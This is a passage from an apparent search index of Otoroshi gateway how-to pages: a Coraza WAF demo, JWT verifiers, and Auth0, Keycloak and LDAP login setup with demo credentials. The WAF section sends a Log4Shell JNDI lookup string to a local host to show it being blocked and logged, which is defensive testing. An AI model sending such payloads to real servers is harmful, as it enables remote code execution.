}\n ]\n}'\n```\n\n### Try to use an exploit ;)\n\nlet try to trigger Coraza with a Log4Shell crafted request:\n\n```sh\ncurl 'http://wouf.oto.tools:9999' -H 'foo: ${jndi:rmi://foo/bar}' --include\n\nHTTP/1.1 403 Forbidden\nDate: Thu, 25 May 2023 09:47:04 GMT\nContent-Type: text/plain\nContent-Length: 0\n\n```\n\nor access to `/admin`\n\n```sh\ncurl 'http://wouf.oto.tools:9999/admin' --include\n\nHTTP/1.1 403 Forbidden\nDate: Thu, 25 May 2023 09:47:04 GMT\nContent-Type: text/plain\nContent-Length: 0\n\n```\n\nif you look at otoroshi logs you will find something like :\n\n```log\n[error] otoroshi-proxy-wasm - [client \"127.0.0.1\"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell \n [file \"@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf\"] [line \"10608\"] [id \"944150\"] [rev \"\"] \n [msg \"Potential Remote Command Execution: Log4j / Log4shell\"] [data \"\"] [severity \"critical\"] \n [ver \"OWASP_CRS/4.0.0-rc1\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] \n [tag \"language-java\"] [tag \"platform-multi\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] \n [tag \"capec/1000/152/137/6\"] [tag \"PCI/6.5.2\"] [tag \"paranoia-level/1\"] [hostname \"wwwwouf.oto.tools\"] \n [uri \"/\"] [unique_id \"uTYakrlgMBydVGLodbz\"]\n[error] otoroshi-proxy-wasm - [client \"127.0.0.1\"] Coraza: Warning. Inbound Anomaly Score Exceeded (Total Score: 5) \n [file \"@owasp_crs/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"11029\"] [id \"949110\"] [rev \"\"] \n [msg \"Inbound Anomaly Score Exceeded (Total Score: 5)\"] \n [data \"\"] [severity \"emergency\"] [ver \"OWASP_CRS/4.0.0-rc1\"] [maturity \"0\"] [accuracy \"0\"] \n [tag \"anomaly-evaluation\"] [hostname \"wwwwouf.oto.tools\"] [uri \"/\"] [unique_id \"uTYakrlgMBydVGLodbz\"]\n[info] otoroshi-proxy-wasm - Transaction interrupted tx_id=\"uTYakrlgMBydVGLodbz\" context_id=3 action=\"deny\" phase=\"http_response_headers\"\n...\n[error] otoroshi-proxy-wasm - [client \"127.0.0.1\"] Coraza: Warning. [file \"\"] [line \"12914\"] \n [id \"101\"] [rev \"\"] [msg \"\"] [data \"\"] [severity \"emergency\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] \n [hostname \"wwwwouf.oto.tools\"] [uri \"/admin\"] [unique_id \"mqXZeMdzRaVAqIiqvHf\"]\n[info] otoroshi-proxy-wasm - Transaction interrupted tx_id=\"mqXZeMdzRaVAqIiqvHf\" context_id=2 action=\"deny\" phase=\"http_request_headers\"\n```\n\n### Generated events\n\neach time Coraza will generate log about vunerability detection, an event will be generated in otoroshi and exporter through the usual data exporter way. The event will look like :\n\n```json\n{\n \"@id\" : \"86b647450-3cc7-42a9-aaec-828d261a8c74\",\n \"@timestamp\" : 1684938211157,\n \"@type\" : \"CorazaTrailEvent\",\n \"@product\" : \"otoroshi\",\n \"@serviceId\" : \"--\",\n \"@service\" : \"--\",\n \"@env\" : \"prod\",\n \"level\" : \"ERROR\",\n \"msg\" : \"Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell\",\n \"fields\" : {\n \"hostname\" : \"wouf.oto.tools\",\n \"maturity\" : \"0\",\n \"line\" : \"10608\",\n \"unique_id\" : \"oNbisKlXWaCdXntaUpq\",\n \"tag\" : \"paranoia-level/1\",\n \"data\" : \"\",\n \"accuracy\" : \"0\",\n \"uri\" : \"/\",\n \"rev\" : \"\",\n \"id\" : \"944150\",\n \"client\" : \"127.0.0.1\",\n \"ver\" : \"OWASP_CRS/4.0.0-rc1\",\n \"file\" : \"@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf\",\n \"msg\" : \"Potential Remote Command Execution: Log4j / Log4shell\",\n \"severity\" : \"critical\"\n },\n \"raw\" : \"[client \\\"127.0.0.1\\\"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell [file \\\"@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf\\\"] [line \\\"10608\\\"] [id \\\"944150\\\"] [rev \\\"\\\"] [msg \\\"Potential Remote Command Execution: Log4j / Log4shell\\\"] [data \\\"\\\"] [severity \\\"critical\\\"] [ver \\\"OWASP_CRS/4.0.0-rc1\\\"] [maturity \\\"0\\\"] [accuracy \\\"0\\\"] [tag \\\"application-multi\\\"] [tag \\\"language-java\\\"] [tag \\\"platform-multi\\\"] [tag \\\"attack-rce\\\"] [tag \\\"OWASP_CRS\\\"] [tag \\\"capec/1000/152/137/6\\\"] [tag \\\"PCI/6.5.2\\\"] [tag \\\"paranoia-level/1\\\"] [hostname \\\"wouf.oto.tools\\\"] [uri \\\"/\\\"] [unique_id \\\"oNbisKlXWaCdXntaUpq\\\"]\\n\",\n}\n```"},{"name":"resources-loader.md","id":"/how-to-s/resources-loader.md","url":"/how-to-s/resources-loader.html","title":"The resources loader","content":"# The resources loader\n\nThe resources loader is a tool to create an Otoroshi resource from a raw content. This content can be found on each Otoroshi resources pages (services descriptors, apikeys, certificates, etc ...). To get the content of a resource as file, you can use the two export buttons, one to export as JSON format and the other as YAML format.\n\nOnce exported, the content of the resource can be import with the resource loader. You can import single or multiples resources on one time, as JSON and YAML format.\n\nThe resource loader is available on this route [`bo/dashboard/resources-loader`](http://otoroshi.oto.tools:8080/bo/dashboard/resources-loader).\n\nOn this page, you can paste the content of your resources and click on **Load resources**.\n\nFor each detected resource, the loader will display :\n\n* a resource name corresponding to the field `name` \n* a resource type corresponding to the type of created resource (ServiceDescriptor, ApiKey, Certificate, etc)\n* a toggle to choose if you want to include the element for the creation step\n* the updated status by the creation process\n\nOnce you have selected the resources to create, you can **Import selected resources**.\n\nOnce generated, all status will be updated. If all is working, the status will be equals to done.\n\nIf you want to get back to the initial page, you can use the **restart** button."},{"name":"secure-an-app-with-jwt-verifiers.md","id":"/how-to-s/secure-an-app-with-jwt-verifiers.md","url":"/how-to-s/secure-an-app-with-jwt-verifiers.html","title":"Secure an api with jwt verifiers","content":"# Secure an api with jwt verifiers\n\n
\nRoute plugins:\nJwt verification only\n
\n\nA Jwt verifier is the guard that verifies the signature of tokens in requests. \n\nA verifier can obvisouly verify or generate.\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Your first jwt verifier\n\nLet's start by validating all incoming request tokens tokens on our simple route created in the @ref:[Before you start](#before-you-start) section.\n\n1. Navigate to the simple route\n2. Search in the list of plugins and add the `Jwt verification only` plugin on the flow\n3. Click on `Start by select or create a JWT Verifier`\n4. Create a new JWT verifier\n5. Set `simple-jwt-verifier` as `Name`\n6. Select `Hmac + SHA` as `Algo` (for this example, we expect tokens with a symetric signature), `512` as `SHA size` and `otoroshi` as `HMAC secret`\n7. Confirm the creation \n\nSave your route and try to call it\n\n```sh\ncurl -X GET 'http://myservice.oto.tools:8080/' --include\n```\n\nThis should output : \n```json\n{\n \"Otoroshi-Error\": \"error.expected.token.not.found\"\n}\n```\n\nA simple way to generate a token is to use @link:[jwt.io](http://jwt.io) { open=new }. Once navigate, define `HS512` as `alg` in header section and insert `otoroshi` as verify signature secret. \n\nOnce created, copy-paste the token from jwt.io to the Authorization header and call our service.\n\n```sh\n# replace xxxx by the generated token\ncurl -X GET \\\n -H \"X-JWT-Token: xxxx\" \\\n 'http://myservice.oto.tools:8080'\n```\n\nThis should output a json with `X-JWT-Token` in headers field. Its value is exactly the same as the passed token.\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.otoroshi.io\",\n \"X-JWT-Token\": \"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.ipDFgkww51mSaSg_199BMRj4gK20LGz_czozu3u8rCFFO1X20MwcabSqEzUc0q4qQ4rjTxjoR4HeUDVcw8BxoQ\",\n ...\n }\n}\n```\n\n### Verify and generate a new token\n\nAn other feature is to verify the incomings tokens and generate new ones, with a different signature and claims. \n\nLet's start by extending the @link:[previous verifier](http://otoroshi.oto.tools:8080/bo/dashboard/jwt-verifiers) { open=new }.\n\n1. Jump to the `Verif Strategy` field and select `Verify and re-sign JWT token`. \n2. Edit the name with `jwt-verify-and-resign`\n3. Remove the default field in `Verify token fields` array\n4. Change the second `Hmac secret` in `Re-sign settings` section with `otoroshi-internal-secret`\n5. Save your verifier.\n\n> Note : the name of the verifier doesn't impact the identifier. So you can save the changes of your verifier without modifying the identifier used in your call. \n\n```sh\n# replace xxxx by the generated token\ncurl -X GET \\\n -H \"Authorization: xxxx\" \\\n 'http://myservice.oto.tools:8080'\n```\n\nThis should output a json with `authorization` in headers field. This time, the value are different and you can check his signature on @link:[jwt.io](https://jwt.io) { open=new } (the expected secret of the generated token is **otoroshi-internal-secret**)\n\n\n\n### Verify, transform and generate a new token\n\nThe most advanced verifier is able to do the same as the previous ones, with the ability to configure the token generation (claims, output header name).\n\nLet's start by extending the @link:[previous verifier](http://otoroshi.oto.tools:8080/bo/dashboard/jwt-verifiers) { open=new }.\n\n1. Jump to the `Verif Strategy` field and select `Verify, transform and re-sign JWT token`. \n\n2. Edit the name with `jwt-verify-transform-and-resign`\n3. Remove the default field in `Verify token fields` array\n4. Change the second `Hmac secret` in `Re-sign settings` section with `otoroshi-internal-secret`\n5. Set `Internal-Authorization` as `Header name`\n6. Set `key` on first field of `Rename token fields` and `from-otoroshi-verifier` on second field\n7. Set `generated-key` and `generated-value` as `Set token fields`\n8. Add `generated_at` and `${date}` as second field of `Set token fields` (Otoroshi supports an @ref:[expression language](../topics/expression-language.md))\n9. Save your verifier and try to call your service again.\n\nThis should output a json with `authorization` in headers field and our generate token in `Internal-Authorization`.\nOnce paste in @link:[jwt.io](https://jwt.io) { open=new }, you should have :\n\n\n\nYou can see, in the payload of your token, the two claims **from-otoroshi-verifier** and **generated-key** added during the generation of the token by the JWT verifier.\n"},{"name":"secure-app-with-auth0.md","id":"/how-to-s/secure-app-with-auth0.md","url":"/how-to-s/secure-app-with-auth0.html","title":"Secure an app with Auth0","content":"# Secure an app with Auth0\n\n
\nRoute plugins:\nAuthentication\n
\n\n### Download Otoroshi\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Configure an Auth0 client\n\nThe first step of this tutorial is to setup an Auth0 application with the information of the instance of our Otoroshi.\n\nNavigate to @link:[https://manage.auth0.com](https://manage.auth0.com) { open=new } (create an account if it's not already done). \n\nLet's create an application when clicking on the **Applications** button on the sidebar. Then click on the **Create application** button on the top right.\n\n1. Choose `Regular Web Applications` as `Application type`\n2. Then set for example `otoroshi-client` as `Name`, and confirm the creation\n3. Jump to the `Settings` tab\n4. Scroll to the `Application URLs` section and add the following url as `Allowed Callback URLs` : `http://otoroshi.oto.tools:8080/backoffice/auth0/callback`\n5. Set `https://otoroshi.oto.tools:8080/` as `Allowed Logout URLs`\n6. Set `https://otoroshi.oto.tools:8080` as `Allowed Web Origins` \n7. Save changes at the bottom of the page.\n\nOnce done, we have a full setup, with a client ID and secret at the top of the page, which authorizes our Otoroshi and redirects the user to the callback url when they log into Auth0.\n\n### Create an Auth0 provider module\n\nLet's back to Otoroshi to create an authentication module with `OAuth2 / OIDC provider` as `type`.\n\n1. Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n1. Click on the cog icon on the top right\n1. Then `Authentication configs` button\n1. And add a new configuration when clicking on the `Add item` button\n2. Select the `OAuth provider` in the type selector field\n3. Then click on `Get from OIDC config` and paste `https://..auth0.com/.well-known/openid-configuration`. Replace the tenant name by the name of your tenant (displayed on the left top of auth0 page), and the region of the tenant (`eu` in my case).\n\nOnce done, set the `Client ID` and the `Client secret` from your Auth0 application. End the configuration with `http://otoroshi.oto.tools:8080/backoffice/auth0/callback` as `Callback URL`.\n\nAt the bottom of the page, disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs).\n\n### Connect to Otoroshi with Auth0 authentication\n\nTo secure Otoroshi with your Auth0 configuration, we have to register an **Authentication configuration** as a BackOffice Auth. configuration.\n\n1. Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n2. Scroll to the **BackOffice auth. settings**\n3. Select your last Authentication configuration (created in the previous section)\n4. Save the global configuration with the button on the top right\n\n#### Testing your configuration\n\n1. Disconnect from your instance\n1. Then click on the *Login using third-party* button (or navigate to http://otoroshi.oto.tools:8080)\n2. Click on **Login using Third-party** button\n3. If all is configured, Otoroshi will redirect you to the auth0 server login page\n4. Set your account credentials\n5. Good works! You're connected to Otoroshi with an Auth0 module.\n\n### Secure an app with Auth0 authentication\n\nWith the previous configuration, you can secure any of Otoroshi services with it. \n\nThe first step is to apply a little change on the previous configuration. \n\n1. Navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs](http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs) { open=new }.\n2. Create a new **Authentication module** configuration with the same values.\n3. Replace the `Callback URL` field to `http://privateapps.oto.tools:8080/privateapps/generic/callback` (we changed this value because the redirection of a connected user by a third-party server is covered by another route by Otoroshi).\n4. Disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n> Note : an Otoroshi service is called **a private app** when it is protected by an Authentication module.\n\nWe can set the Authentication module on your route.\n\n1. Navigate to any created route\n2. Search in the list of plugins the plugin named `Authentication`\n3. Select your Authentication config inside the list\n4. Don't forget to save your configuration.\n5. Now you can try to call your route and see the Auth0 login page appears.\n\n\n"},{"name":"secure-app-with-keycloak.md","id":"/how-to-s/secure-app-with-keycloak.md","url":"/how-to-s/secure-app-with-keycloak.html","title":"Secure an app with Keycloak","content":"# Secure an app with Keycloak\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Running a keycloak instance with docker\n\n```sh\ndocker run \\\n -p 8080:8080 \\\n -e KEYCLOAK_USER=admin \\\n -e KEYCLOAK_PASSWORD=admin \\\n --name keycloak-server \\\n --detach jboss/keycloak:15.0.1\n```\n\nThis should download the image of keycloak (if you haven't already it) and display the digest of the created container. This command mapped TCP port 8080 in the container to port 8080 of your laptop and created a server with `admin/admin` as admin credentials.\n\nOnce started, you can open a browser on @link:[http://localhost:8080](http://localhost:8080) { open=new } and click on `Administration Console`. Log to your instance with `admin/admin` as credentials.\n\nThe first step is to create a Keycloak client, an entity that can request Keycloak to authenticate a user. Click on the **clients** button on the sidebar, and then on **Create** button at the top right of the view.\n\nFill the client form with the following values.\n\n* `Client ID`: `keycloak-otoroshi-backoffice`\n* `Client Protocol`: `openid-connect`\n* `Root URL`: `http://otoroshi.oto.tools:8080/`\n\nValidate the creation of the client by clicking on the **Save** button.\n\nThe next step is to change the `Access Type` used by default. Jump to the `Access Type` field and select `confidential`. The confidential configuration force the client application to send at Keycloak a client ID and a client Secret. Scroll to the bottom of the page and save the configuration.\n\nNow scroll to the top of your page. Just at the right of the `Settings` tab, a new tab appeared : the `Credentials` page. Click on this tab, and make sure that `Client Id and Secret` is selected as `Client Authenticator` and copy the generated `Secret` to the next part.\n\n### Create a Keycloak provider module\n\n1. Go ahead, and navigate to http://otoroshi.oto.tools:8080\n1. Click on the cog icon on the top right\n1. Then `Authentication configs` button\n1. And add a new configuration when clicking on the `Add item` button\n2. Select the `OAuth2 / OIDC provider` in the type selector field\n3. Set a basic name and description\n\nA simple way to import a Keycloak client is to give the `URL of the OpenID Connect` Otoroshi. By default, keycloak used the next URL : `http://localhost:8080/auth/realms/master/.well-known/openid-configuration`. \n\nClick on the `Get from OIDC config` button and paste the previous link. Once it's done, scroll to the `URLs` section. All URLs has been fill with the values picked from the JSON object returns by the previous URL.\n\nThe only fields to change are : \n\n* `Client ID`: `keycloak-otoroshi-backoffice`\n* `Client Secret`: Paste the secret from the Credentials Keycloak page. In my case, it's something like `90c9bf0b-2c0c-4eb0-aa02-72195beb9da7`\n* `Callback URL`: `http://otoroshi.oto.tools:8080/backoffice/auth0/callback`\n\nAt the bottom of the page, disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs). Nothing else to change, just save the configuration.\n\n### Connect to Otoroshi with Keycloak authentication\n\nTo secure Otoroshi with your Keycloak configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.\n\n1. Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n1. Scroll to the **BackOffice auth. settings**\n1. Select your last Authentication configuration (created in the previous section)\n1. Save the global configuration with the button on the top right\n\n### Testing your configuration\n\n1. Disconnect from your instance\n1. Then click on the **Login using third-party** button (or navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new })\n2. Click on **Login using Third-party** button\n3. If all is configured, Otoroshi will redirect you to the keycloak login page\n4. Set `admin/admin` as user and trust the user by clicking on `yes` button.\n5. Good work! You're connected to Otoroshi with an Keycloak module.\n\n> A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.\n\n### Visualize an admin user session or a private user session\n\nEach user, wheter connected user to the Otoroshi UI or at a private Otoroshi app, has an own session. As an administrator of Otoroshi, you can visualize via Otoroshi the list of the connected users and their profile.\n\nLet's start by navigating to the `Admin users sessions` page (just @link:[here](http://otoroshi.oto.tools:8080/bo/dashboard/sessions/admin) or when clicking on the cog, and on the `Admins sessions` button at the bottom of the list).\n\nThis page gives a complete view of the connected admins. For each admin, you have his connection date and his expiration date. You can also check the `Profile` and the `Rights` of the connected users.\n\nIf we check the profile and the rights of the previously logged user (from Keycloak in the previous part) we can retrieve the following information :\n\n```json\n{\n \"sub\": \"4c8cd101-ca28-4611-80b9-efa504ac51fd\",\n \"upn\": \"admin\",\n \"email_verified\": false,\n \"address\": {},\n \"groups\": [\n \"create-realm\",\n \"default-roles-master\",\n \"offline_access\",\n \"admin\",\n \"uma_authorization\"\n ],\n \"preferred_username\": \"admin\"\n}\n```\n\nand his default rights \n\n```sh\n[\n {\n \"tenant\": \"default:rw\",\n \"teams\": [\n \"default:rw\"\n ]\n }\n]\n```\n\nWe haven't create any specific groups in Keycloak or specify rights in Otoroshi for him. In this case, the use received the default Otoroshi rights at his connection. The user can navigate on the default Organization and Teams (which are two resources created by Otoroshi at the boot) and have the full access on its (`r`: Read, `w`: Write, `*`: read/write).\n\nIn the same way, you'll find all users connected to a private Otoroshi app when navigate on the @link:[`Private App View`](http://otoroshi.oto.tools:8080/bo/dashboard/sessions/private) or using the cog at the top of the page. \n\n### Configure the Keycloak module to force logged in users to be an Otoroshi admin with full access\n\nGo back to the Keycloak module in `Authentication configs` view. Turn on the `Supers admin only` button and save your configuration. Try again the connection to Otoroshi using Keycloak third-party server.\n\nOnce connected, click on the cog button, and check that you have access to the full features of Otoroshi (like Admin user sessions). Now, your rights should be : \n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n]\n```\n\n### Merge Id token content on user profile\n\nGo back to the Keycloak module in `Authentication configs` view. Turn on the `Read profile` from token button and save your configuration. Try again the connection to Otoroshi using Keycloak third-party server.\n\nOnce connected, your profile should be contains all Keycloak id token : \n```json\n{\n \"exp\": 1634286674,\n \"iat\": 1634286614,\n \"auth_time\": 1634286614,\n \"jti\": \"eb368578-e886-4caa-a51b-c1d04973c80e\",\n \"iss\": \"http://localhost:8080/auth/realms/master\",\n \"aud\": [\n \"master-realm\",\n \"account\"\n ],\n \"sub\": \"4c8cd101-ca28-4611-80b9-efa504ac51fd\",\n \"typ\": \"Bearer\",\n \"azp\": \"keycloak-otoroshi-backoffice\",\n \"session_state\": \"e44fe471-aa3b-477d-b792-4f7b4caea220\",\n \"acr\": \"1\",\n \"allowed-origins\": [\n \"http://otoroshi.oto.tools:8080\"\n ],\n \"realm_access\": {\n \"roles\": [\n \"create-realm\",\n \"default-roles-master\",\n \"offline_access\",\n \"admin\",\n \"uma_authorization\"\n ]\n },\n \"resource_access\": {\n \"master-realm\": {\n \"roles\": [\n \"view-identity-providers\",\n \"view-realm\",\n \"manage-identity-providers\",\n \"impersonation\",\n \"create-client\",\n \"manage-users\",\n \"query-realms\",\n \"view-authorization\",\n \"query-clients\",\n \"query-users\",\n \"manage-events\",\n \"manage-realm\",\n \"view-events\",\n \"view-users\",\n \"view-clients\",\n \"manage-authorization\",\n \"manage-clients\",\n \"query-groups\"\n ]\n },\n \"account\": {\n \"roles\": [\n \"manage-account\",\n \"manage-account-links\",\n \"view-profile\"\n ]\n }\n }\n ...\n}\n```\n\n### Manage the Otoroshi user rights from keycloak\n\nOne powerful feature supports by Otoroshi, is to use the Keycloak groups attributes to set a list of rights for a Otoroshi user.\n\nIn the Keycloak module, you have a field, named `Otoroshi rights field name` with `otoroshi_rights` as default value. This field is used by Otoroshi to retrieve information from the Id token groups.\n\nLet's create a group in Keycloak, and set our default Admin user inside.\nIn Keycloak admin console :\n\n1. Navigate to the groups view, using the keycloak sidebar\n2. Create a new group with `my-group` as `Name`\n3. Then, on the `Attributes` tab, create an attribute with `otoroshi_rights` as `Key` and the following json array as `Value`\n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\",\n \"my-future-team:rw\"\n ]\n }\n]\n```\n\nWith this configuration, the user have a full access on all Otoroshi resources (my-future-team is not created in Otoroshi but it's not a problem, Otoroshi can handle it and use this rights only when the team will be present)\n\nClick on the **Add** button and **save** the group. The last step is to assign our user to this group. Jump to `Users` view using the sidebar, click on **View all users**, edit the user and his group membership using the `Groups` tab (use **join** button the assign user in `my-group`).\n\nThe next step is to add a mapper in the Keycloak client. By default, Keycloak doesn't expose any users information (like group membership or users attribute). We need to ask to Keycloak to expose the user attribute `otoroshi_rights` set previously on group.\n\nNavigate to the `Keycloak-otoroshi-backoffice` client, and jump to `Mappers` tab. Create a new mapper with the following values: \n\n* Name: `otoroshi_rights`\n* Mapper Type: `User Attribute`\n* User Attribute: `otoroshi_rights`\n* Token Claim Name: `otoroshi_rights`\n* Claim JSON Type: `JSON`\n* Multivalued: `√`\n* Aggregate attribute values: `√`\n\nGo back to the Authentication Keycloak module inside Otoroshi UI, and turn off **Super admins only**. **Save** the configuration.\n\nOnce done, try again the connection to Otoroshi using Keycloak third-party server.\nNow, your rights should be : \n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\",\n \"my-future-team:rw\"\n ]\n }\n]\n```\n\n### Secure an app with Keycloak authentication\n\nThe only change to apply on the previous authentication module is on the callback URL. When you want secure a Otoroshi service, and transform it on `Private App`, you need to set the `Callback URL` at `http://privateapps.oto.tools:8080/privateapps/generic/callback`. This configuration will redirect users to the backend service after they have successfully logged in.\n\n1. Go back to the authentication module\n2. Jump to the `Callback URL` field\n3. Paste this value `http://privateapps.oto.tools:8080/privateapps/generic/callback`\n4. Save your configuration\n5. Navigate to `http://myservice.oto.tools:8080`.\n6. You should redirect to the keycloak login page.\n7. Once logged in, you can check the content of the private app session created.\n\nThe rights should be : \n\n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\",\n \"my-future-team:rw\"\n ]\n }\n]\n```"},{"name":"secure-app-with-ldap.md","id":"/how-to-s/secure-app-with-ldap.md","url":"/how-to-s/secure-app-with-ldap.html","title":"Secure an app and/or your Otoroshi UI with LDAP","content":"# Secure an app and/or your Otoroshi UI with LDAP\n\n
\nRoute plugins:\nAuthentication\n
\n\n### Before you start\n\n@@include[fetch-and-start.md](../includes/fetch-and-start.md) { #init }\n\n#### Running an simple OpenLDAP server \n\nRun OpenLDAP docker image : \n```sh\ndocker run \\\n -p 389:389 \\\n -p 636:636 \\\n --env LDAP_ORGANISATION=\"Otoroshi company\" \\\n --env LDAP_DOMAIN=\"otoroshi.tools\" \\\n --env LDAP_ADMIN_PASSWORD=\"otoroshi\" \\\n --env LDAP_READONLY_USER=\"false\" \\\n --env LDAP_TLS\"false\" \\\n --env LDAP_TLS_ENFORCE\"false\" \\\n --name my-openldap-container \\\n --detach osixia/openldap:1.5.0\n```\n\nLet's make the first search in our LDAP container :\n\n```sh\ndocker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=otoroshi,dc=tools -D \"cn=admin,dc=otoroshi,dc=tools\" -w otoroshi\n```\n\nThis should output :\n```sh\n# extended LDIF\n ...\n# otoroshi.tools\ndn: dc=otoroshi,dc=tools\nobjectClass: top\nobjectClass: dcObject\nobjectClass: organization\no: Otoroshi company\ndc: otoroshi\n\n# search result\nsearch: 2\nresult: 0 Success\n...\n```\n\nNow you can seed the open LDAP server with a few users. \n\nJoin your LDAP container.\n\n```sh\ndocker exec -it my-openldap-container \"/bin/bash\"\n```\n\nThe command `ldapadd` needs of a file to run.\n\nLaunch this command to create a `bootstrap.ldif` with one organization, one singers group with John user and a last group with Baz as scientist.\n\n```sh\necho -e \"\ndn: ou=People,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: organizationalUnit\nou: People\n\ndn: ou=Role,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: organizationalUnit\nou: Role\n\ndn: uid=john,ou=People,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: person\nobjectclass: organizationalPerson\nobjectclass: inetOrgPerson\nuid: john\ncn: John\nsn: Brown\nmail: john@otoroshi.tools\npostalCode: 88442\nuserPassword: password\n\ndn: uid=baz,ou=People,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: person\nobjectclass: organizationalPerson\nobjectclass: inetOrgPerson\nuid: baz\ncn: Baz\nsn: Wilson\nmail: baz@otoroshi.tools\npostalCode: 88443\nuserPassword: password\n\ndn: cn=singers,ou=Role,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: groupOfNames\ncn: singers\nmember: uid=john,ou=People,dc=otoroshi,dc=tools\n\ndn: cn=scientists,ou=Role,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: groupOfNames\ncn: scientists\nmember: uid=baz,ou=People,dc=otoroshi,dc=tools\n\" > bootstrap.ldif\n\nldapadd -x -w otoroshi -D \"cn=admin,dc=otoroshi,dc=tools\" -f bootstrap.ldif -v\n```\n\n### Create an Authentication configuration\n\n- Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n- Click on the cog icon on the top right\n- Then `Authentication configs` button\n- And add a new configuration when clicking on the `Add item` button\n- Select the `Ldap auth. provider` in the type selector field\n- Set a basic name and description\n- Then set `ldap://localhost:389` as `LDAP Server URL`and `dc=otoroshi,dc=tools` as `Search Base`\n- Create a group filter (in the next part, we'll change this filter to spread users in different groups with given rights) with \n - objectClass=groupOfNames as `Group filter` \n - All as `Tenant`\n - All as `Team`\n - Read/Write as `Rights`\n- Set the search filter as `(uid=${username})`\n- Set `cn=admin,dc=otoroshi,dc=tools` as `Admin username`\n- Set `otoroshi` as `Admin password`\n- At the bottom of the page, disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n\n At this point, your configuration should be similar to :\n \n\n\n\n> Dont' forget to save on the bottom page your configuration before to quit the page.\n\n- Test the connection when clicking on `Test admin connection` button. This should show a `It works!` message\n\n- Finally, test the user connection button and set `john/password` or `baz/password` as credentials. This should show a `It works!` message\n\n> Dont' forget to save on the bottom page your configuration before to quit the page.\n\n\n### Connect to Otoroshi with LDAP authentication\n\nTo secure Otoroshi with your LDAP configuration, we have to register an **Authentication configuration** as a BackOffice Auth. configuration.\n\n- Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n- Scroll to the **BackOffice auth. settings**\n- Select your last Authentication configuration (created in the previous section)\n- Save the global configuration with the button on the top right\n\n### Testing your configuration\n\n- Disconnect from your instance\n- Then click on the **Login using third-party** button (or navigate to @link:[http://otoroshi.oto.tools:8080/backoffice/auth0/login](http://otoroshi.oto.tools:8080/backoffice/auth0/login) { open=new })\n- Set `john/password` or `baz/password` as credentials\n\n> A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.\n\n\n#### Secure an app with LDAP authentication\n\nOnce the configuration is done, you can secure any of Otoroshi routes. \n\n- Navigate to any created route\n- Add the `Authentication` plugin to your route\n- Select your Authentication config inside the list\n- Save your configuration\n\nNow try to call your route. The login module should appear.\n\n#### Manage LDAP users rights on Otoroshi\n\nFor each group filter, you can affect a list of rights:\n\n- on an `Organization`\n- on a `Team`\n- and a level of rights : `Read`, `Write` or `Read/Write`\n\n\nStart by navigate to your authentication configuration (created in @ref:[previous](#create-an-authentication-configuration) step).\n\nThen, replace the values of the `Mapping group filter` field to match LDAP groups with Otoroshi rights.\n\n\n\n\nWith this configuration, Baz is an administrator of Otoroshi with full rights (read / write) on all organizations.\n\nConversely, John can't see any configuration pages (like the danger zone) because he has only the read rights on Otoroshi.\n\nYou can easily test this behaviour by @ref:[testing](#testing-your-configuration) with both credentials.\n\n\n#### Advanced usage of LDAP Authentication\n\nIn the previous section, we have define rights for each LDAP groups. But in some case, we want to have a finer granularity like set rights for a specific user. The last 4 fields of the authentication form cover this. \n\nLet's start by adding few properties for each connected users with `Extra metadata`.\n\n```json\n// Add this configuration in extra metadata part\n{\n \"provider\": \"OpenLDAP\"\n}\n```\n\nThe next field `Data override` is merged with extra metadata when a user connects to a `private app` or to the UI (inside 